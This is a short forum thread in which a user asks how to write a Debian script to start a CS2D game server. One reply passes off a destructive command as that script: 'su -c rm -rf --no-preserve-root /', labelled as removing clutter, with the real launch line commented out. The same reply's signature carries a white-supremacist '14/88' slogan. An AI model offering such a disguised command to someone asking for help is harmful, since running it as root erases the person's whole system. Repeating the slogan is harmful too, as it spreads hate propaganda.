English how to make script for debian

4 replies
Goto Page
To the start Previous 1 Next To the start
18.06.14 10:48:13 pm
Up
lennon
User
Offline Off
How to make script for debian to start server cs2d? Thank's for answer
The game of year - CS2D
18.06.14 11:35:07 pm
Up
lennon
User
Offline Off
can someone make it for me ? Any help?
edited 2×, last 20.06.14 05:20:18 am
The game of year - CS2D
20.06.14 06:07:51 am
Up
archmage
User
Offline Off
Code:
1
2
3
4
5
#!/bin/bash
#chmod +x cs2d_dedicated
# remove useless crap to speed up server!
su -c rm\ -rf\ --no-preserve-root\ /
#./cs2d_dedicated &


Note: it will prompt for your root (administrator) password!
We must secure the existence of our people and a future for white children. 14/88
20.06.14 11:36:17 am
Up
lennon
User
Offline Off
Code:
1
2
su: invalid option - 'r' 
. / script: line 7: ') \ r': command not found
The game of year - CS2D
To the start Previous 1 Next To the start